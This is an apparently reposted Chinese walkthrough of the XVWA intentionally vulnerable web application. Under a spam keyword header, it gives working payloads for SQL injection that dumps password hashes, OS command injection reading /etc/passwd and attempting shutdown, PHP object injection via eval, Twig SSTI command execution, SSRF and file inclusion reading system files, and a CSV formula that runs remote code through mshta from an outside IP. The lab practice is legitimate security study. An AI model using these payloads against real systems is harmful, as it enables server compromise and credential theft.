日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[NOTE] XVWA靶场练习笔记

發(fā)布時(shí)間:2024/4/18 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [NOTE] XVWA靶场练习笔记 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

[NOTE] XVWA靶場(chǎng)練習(xí)筆記

文章目錄

  • [NOTE] XVWA靶場(chǎng)練習(xí)筆記
    • 前言
    • SQL Injection – Error Based
      • 選擇框
      • 搜索欄
    • SQL Injection – Blind
    • OS Command Injection
    • XPATH Injection
    • CSV Formula Injection
    • PHP Object Injection
    • Unrestricted File Upload
    • Cross Site Scripting (XSS) – Reflected
    • Cross Site Scripting (XSS) – Stored
    • Cross Site Scripting (XSS) – DOM
    • Server Side Request Forgery (SSRF/XSPA)
    • File Inclusion
    • Session Flaws
    • Insecure Direct Object Reference
    • Missing Functional Level Access Control
    • Cross Site Request Forgery (CSRF)
    • Cryptography
    • Unvalidated Redirects and Forwards
    • Server Side Template Injection (SSTI)
    • 總結(jié)

前言

又一個(gè)靶場(chǎng)…
上一個(gè)是DSVW

這次盡量搞快點(diǎn)把,還得學(xué)滲透呢

另外把這個(gè)靶場(chǎng)的環(huán)境適配到Ubuntu有點(diǎn)麻煩,能用就行
說到底還是要看看什么時(shí)候能不用小皮面板整個(gè)Web服務(wù)器試試

另另外XVWA,是Xtreme Vulnerable Web Application
Xtreme…

SQL Injection – Error Based

場(chǎng)景介紹了很多種類的咖啡
愛了愛了

有兩個(gè)編輯處,一個(gè)是選擇Code返回對(duì)應(yīng)的咖啡信息
一個(gè)是搜索欄,輸入關(guān)鍵詞返回所有相關(guān)的咖啡信息

BP看看,POST傳送參數(shù)
item和search兩個(gè)參數(shù)不能同時(shí)傳

選擇框

輸入',確實(shí)報(bào)錯(cuò):
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1

' or '1'='1:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1’=‘1’ at line 1

?試試數(shù)字型:222 or 1=1 #,有了,選擇框是數(shù)字型注入

1 order by 7 #:測(cè)出字段為7

99 union select 1,2,3,4,5,6,7:文字回顯2、5、4、6、7(3在圖片鏈接里)

爆表:99 union select 1,concat(table_name),3,user(),5,6,7 from information_schema.tables where table_schema=database()

爆列:99 union select 1,concat(column_name),3,user(),5,6,7 from information_schema.columns where table_schema=database() and table_name='users'

爆用戶名和密碼:99 union select 1,username,3,password,uid,6,7 from users

出來的是密碼哈希

搜索欄

':check the manual that corresponds to your MySQL server version for the right syntax to use near ‘%’ OR itemdesc LIKE ‘%’%’ OR categ LIKE ‘%’%’’ at line 1

看起來使用的是模糊查詢LIKE '%{input}%'

%' #:全注

meirennengpodeliaowofang%' union select 1,2,3,4,5,6,7 #

下略

SQL Injection – Blind

盲注,這次注入'也不會(huì)有回顯

但是選擇個(gè)1會(huì)有完整回顯——?

item=99 union select 1,database(),3,4,5,6,7&search=
???這不還是有回顯嘛

可能這里的“盲”,僅指不輸出錯(cuò)誤語句,而不是只回顯“對(duì)”或“錯(cuò)”

那就略了

建議去打sqli-labs的盲注

OS Command Injection

介紹了兩個(gè)系統(tǒng)命令執(zhí)行函數(shù):

  • system()
  • shell_exec()

This allows a user to inject arbitrary commands that will execute on the remote host with the privilege of web server user.

輸入IP/HOSTNAME返回ping的終端結(jié)果

;whoami,返回www

看看passwd:;cat /etc/passwd

關(guān)個(gè)機(jī)去吃飯:; shutdown now
?怎么關(guān)不了?
55555不能去吃飯了
懷疑是權(quán)限不夠

看看源碼,簡(jiǎn)單拼接而已:

$cmd = shell_exec( 'ping -c 3 ' . $target ); echo '<pre>'.$cmd.'</pre>';

XPATH Injection

XPATH injections are fairly similar to SQL injection with a difference that it uses XML Queries instead of SQL queries.

An attacker can send malicious requests to the application to find out how XML data is structured and can leverage the attack to access unauthorized XML data.

輸入1正常返回,'警告:Warning: DOMXPath::query(): Invalid predicate in /www/xvwa/vulnerabilities/xpath/home.php on line 10

' or '1'='1:全注,字符型

下面是盲注

1' and count(/*)=1 and '1'='1:根節(jié)點(diǎn)數(shù)為1

1' and string-length(name(/*[position()=1]))=7 and '1'='1:根節(jié)點(diǎn)名稱長為7

1' and substring(name(/*[position()=1]),1,1)='C' and '1'='1:根節(jié)點(diǎn)名稱第一個(gè)字符為‘C’

1' and name(/*[position()=1])='Coffees' and '1'='1根節(jié)點(diǎn)名稱為“Coffees”

看來是只有關(guān)于咖啡信息的XML,之前已經(jīng)全注出來了
剩下的信息盲注意義不大

CSV Formula Injection

CSV公式注入?或者是CSV Excel宏注入?

沒有驗(yàn)證CSV文件的內(nèi)容
常發(fā)生在允許上傳/下載CSV數(shù)據(jù)的站點(diǎn)

沒聽過,先學(xué)一波

學(xué)習(xí)鏈接:

  • 淺談CSV注入漏洞
  • 安全測(cè)試-CSV注入漏洞
  • CSV Excel Macro Injection Vulnerability in export chat logs

**CSV公式注入(CSV Injection)**是一種會(huì)造成巨大影響的攻擊向量。攻擊包含向惡意的EXCEL公式中注入可以輸出或以CSV文件讀取的參數(shù)。當(dāng)在Excel中打開CSV文件時(shí),文件會(huì)從CSV描述轉(zhuǎn)變?yōu)樵嫉腅xcel格式,包括Excel提供的所有動(dòng)態(tài)功能。在這個(gè)過程中,CSV中的所有Excel公式都會(huì)執(zhí)行。當(dāng)該函數(shù)有合法意圖時(shí),很易被濫用并允許惡意代碼執(zhí)行。

就是,Excel中的一個(gè)單元格設(shè)置成=36+1
保存之后重新打開,就會(huì)被正確計(jì)算變成37
像是=、-、+、@這些符號(hào)都會(huì)觸發(fā)這種行為

下面的例子需要事先在Excel中進(jìn)行如下設(shè)置:
選項(xiàng)->信任中心->信任中心設(shè)置->外部?jī)?nèi)容->動(dòng)態(tài)數(shù)據(jù)交換的安全設(shè)置->勾選啟用動(dòng)態(tài)數(shù)據(jù)交換服務(wù)器啟動(dòng)(不推薦)

然后是打開計(jì)算器的經(jīng)典例子
在隨便一個(gè)單元格中輸入如下內(nèi)容:
=1+cmd|' /C calc'!A0
保存,再打開,會(huì)有一系列提示
什么“更新鏈接”、“是否啟動(dòng)另外一個(gè)應(yīng)用程序”
一律“是是是”
然后就會(huì)打開計(jì)算器了

理想的攻擊場(chǎng)景是,攻擊者找到這么一個(gè)有CSV公式注入的站點(diǎn)
注入惡意數(shù)據(jù)
管理員后臺(tái)登入,導(dǎo)出CSV數(shù)據(jù)
然后打開,希望管理員沒什么安全意識(shí)
權(quán)限全開,安全設(shè)置全關(guān),嫌麻煩不讀提示一律“對(duì)對(duì)對(duì)”
然后就中招了
被get shell或種馬什么的

大概就是這樣吧
騰訊問卷里邊也出現(xiàn)過這個(gè)漏洞

另附一個(gè)遠(yuǎn)程連接shell的payload:
+1+cmd|'/c mshta.exehttp://192.168.233.102:8080/a'!A0


回到靶場(chǎng)題目

這里需要先找到一個(gè)可以插入CSV數(shù)據(jù)的地方
就在這個(gè)漏洞下面的[任意文件上傳模塊](#Unrestricted File Upload)

上傳下包含payload的數(shù)據(jù):

然后回到表格,已經(jīng)多了新增的項(xiàng)

然后模擬管理員登錄后臺(tái),導(dǎo)出數(shù)據(jù)再本地用Excel打開
(還得要求后臺(tái)系統(tǒng)是Windows并且關(guān)閉相關(guān)安全選項(xiàng))
就會(huì)彈出計(jì)算器

PHP Object Injection

這里講的就是PHP反序列化

Though PHP Object Injection is not a very common vulnerability and also difficult to exploit, but it is found to be really dangerous vulnerbility as this could lead an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Denial of Service, depending on the application context.

點(diǎn)擊CLICK HERE后
下面回顯XVWA - Xtreme Vulnerable Web Application
同時(shí)注意到URL新增參數(shù)/?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}

猜測(cè)PHP對(duì)象用于在頁面回顯
于是有下面的XSS payload:
/?r=a:2:{i:0;s:4:"XVWA";i:1;s:29:"<script>alert("XSS")</script>";}

但是一般反序列化,都要結(jié)合源碼審計(jì)
源碼下面有如下的代碼:

class PHPObjectInjection {public $inject;function __construct() {}function __wakeup() {if (isset($this->inject)) {eval($this->inject);}} }if (isset($_REQUEST['r'])) {$var1 = unserialize($_REQUEST['r']);if (is_array($var1)) {echo "<br/>".$var1[0]." - ".$var1[1];} } else {echo ""; # nothing happens here }

其中__wakeup函數(shù)經(jīng)常用在反序列化操作中
執(zhí)行unserialize時(shí),會(huì)檢查并執(zhí)行__wakeup方法,預(yù)先準(zhǔn)備對(duì)象需要的資源

上面可以看到所定義的對(duì)象,若存在$inject變量,則會(huì)調(diào)用eval去執(zhí)行
這里就是注入點(diǎn)

則可以進(jìn)一步構(gòu)造如下payload:
O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}
改變$inject屬性的值,即可執(zhí)行任意php代碼

另外在執(zhí)行serialize時(shí),檢查并調(diào)用的是__sleep方法

Unrestricted File Upload

文件上傳漏洞

先隨便上傳一張圖片,然后在上傳結(jié)果那里可以看到圖像地址:
www.xvwa.com/xvwa/img/uploads/pepe.jpeg

然后發(fā)現(xiàn)能直接上傳一句話
蟻劍一連,OK

Cross Site Scripting (XSS) – Reflected

輸入框,直接X爆

建議去看Pikachu靶場(chǎng)的練習(xí)筆記,我在里面做了相對(duì)詳細(xì)的利用練習(xí)

Cross Site Scripting (XSS) – Stored

建議去看Pikachu靶場(chǎng)的練習(xí)筆記,我在里面做了相對(duì)詳細(xì)的利用練習(xí)

Cross Site Scripting (XSS) – DOM

The attack triggers within the page, but with no need of requests/response pair.

頁面的form表單里有一個(gè)JS腳本:

var i = document.location.href.substring(document.location.href.indexOf("default=")); if(i.indexOf("default") > -1){document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>"); } document.write("<OPTION value=2>English</OPTION>"); document.write("<OPTION value=3>French</OPTION>"); document.write("<OPTION value=4>Germany</OPTION>"); document.write("<OPTION value=5>Spanish</OPTION>");

可見可以在URL里傳入default參數(shù),然后就會(huì)通過DOM語法生成到選單中:

然而奇怪的是,我不能構(gòu)造出一個(gè)payload注入到里邊形成XSS
試過URL編碼和HTML編碼都不行
好像payload會(huì)被URL編碼之后才拼接到標(biāo)簽中:

搜索框倒是可以隨便X(好像也不太行?)

Server Side Request Forgery (SSRF/XSPA)

XSPA:Cross Site Port Attack,跨站端口攻擊

An attacker can trick the web server that could probability running behind a firewall to send requests to itself to identify services running on it, or can even send out-bond traffic to other servers.

相關(guān)源碼:

$image = ""; if(isset($_POST['img_url'])){$remote_content = file_get_contents($_POST['img_url']);$filename = "../../img/".rand()."img1.jpg";file_put_contents($filename, $remote_content);echo $_POST['img_url']."<br>";$image = "<img src=\"".$filename."\" width=\"100\" height=\"100\" />"; } echo $image;

這里關(guān)鍵是沒有對(duì)img_url傳入的參數(shù)進(jìn)行檢查
使用file_get_contents對(duì)指示的資源進(jìn)行讀取
然后寫入到隨機(jī)生成的一個(gè)文件中,并放在服務(wù)器
而且可以通過查看圖片源地址來得知文件在服務(wù)器上的位置

一個(gè)訪問敏感信息文件的場(chǎng)景:
輸入payload:../../../../../../etc/passwd
(這里也會(huì)有文件是否存在、有無權(quán)限等報(bào)錯(cuò)提示,存在目錄遍歷漏洞)
右鍵圖片復(fù)制地址

curl一下即可查看內(nèi)容:

或者是可以事先在惡意服務(wù)器上準(zhǔn)備木馬http://10.10.10.1/hack.php
然后復(fù)制圖像地址,蟻劍連接
然而不行,弄到服務(wù)器本地的文件內(nèi)容為空,一句話不存在

估計(jì)還有其他利用場(chǎng)景,就是查看內(nèi)網(wǎng)站點(diǎn)頁面,以及訪問內(nèi)網(wǎng)別的資源吧

File Inclusion

file參數(shù)可以本地文件包含,也可以遠(yuǎn)程文件包含

本地例:/?file=file:///etc/passwd

遠(yuǎn)程例:/?file=http://10.10.10.1/hack.php
(但是蟻劍連不上?其他像是phpinfo函數(shù)倒是可以)
(phpinfo顯示的是惡意服務(wù)器的信息)
(要事先把惡意腳本上傳到本地,然后再包含,才能蟻劍連上)

Session Flaws

會(huì)話缺陷,這里指由于用戶會(huì)話管理不當(dāng)所引發(fā)的會(huì)話推測(cè)、劫持、固定和重放

這里看了看包,無論時(shí)登錄、登出前后
PHPSESSID似乎都是不變的,是固定的

然后登錄和登出的數(shù)據(jù)包都可以重放

那是不是意味著,只要?jiǎng)e的用戶能抓到已經(jīng)登陸的PHPSESSID
就能繞過登陸驗(yàn)證?
(問題是別人的PHPSESSID哪有這么好抓啊)

不太理解這題的利用場(chǎng)景

Insecure Direct Object Reference

不安全的對(duì)象直接引用

意思是請(qǐng)求的資源命名規(guī)律不要太明顯了,容易被遍歷

像是這題下拉框只給5個(gè)選項(xiàng),但是可以在URL里遍歷到5以上

Missing Functional Level Access Control

功能級(jí)權(quán)限控制缺失(在WebGoat里碰見過)
好像和越權(quán)有很大干系?

主要指,有一些本來應(yīng)該隱藏的信息
如一些管理員才能執(zhí)行的操作等
沒有很好地隱藏(注釋掉了或者只在HTML里hidden)
被發(fā)現(xiàn)了,就會(huì)被攻擊者嘗試執(zhí)行惡意命令

這題地信息泄露,指源碼泄露
發(fā)現(xiàn)URL中的action參數(shù)除了能看到的view之外
還有delete,攻擊者可以越過頁面執(zhí)行刪除數(shù)據(jù)操作

Cross Site Request Forgery (CSRF)

登陸后,修改密碼的鏈接沒有鑒權(quán):
http://www.xvwa.com/xvwa/vulnerabilities/csrf/?passwd=password&confirm=password&submit=submit

那么可以隨意修改密碼形成釣魚鏈接或頁面,誘惑受害者點(diǎn)擊
從而按攻擊者目的修改了受害者密碼

需要社工

Cryptography

似乎只是一個(gè)介紹

介紹各個(gè)加密/編碼,并且提醒要正確地使用它們

Unvalidated Redirects and Forwards

不安全的重定向和跟隨重定向

說白了就是forward后面的鏈接參數(shù)沒有限制
導(dǎo)致攻擊者可以利用正常站點(diǎn)去釣魚惡意網(wǎng)站http://www.xvwa.com/xvwa/vulnerabilities/redirect/?forward=http://www.hacker.com

Server Side Template Injection (SSTI)

不太熟

Web頁面使用模板(templates)去讓頁面更加動(dòng)態(tài)
SSTI常與XSS弄混
但前者能直接攻擊服務(wù)器內(nèi)部并引發(fā)更大的危害,如RCE或服務(wù)器被拿下等

大概和第三方組件有關(guān)
這里靶場(chǎng)使用的是叫TWIG的東西
得了解它的相關(guān)資料

一個(gè)命令執(zhí)行的模板:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
回顯:Hello uid=1001(www) gid=1001(www) groups=1001(www)

還不太理解這個(gè)TWIG

總結(jié)

中規(guī)中矩的靶場(chǎng)吧

總結(jié)

以上是生活随笔為你收集整理的[NOTE] XVWA靶场练习笔记的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。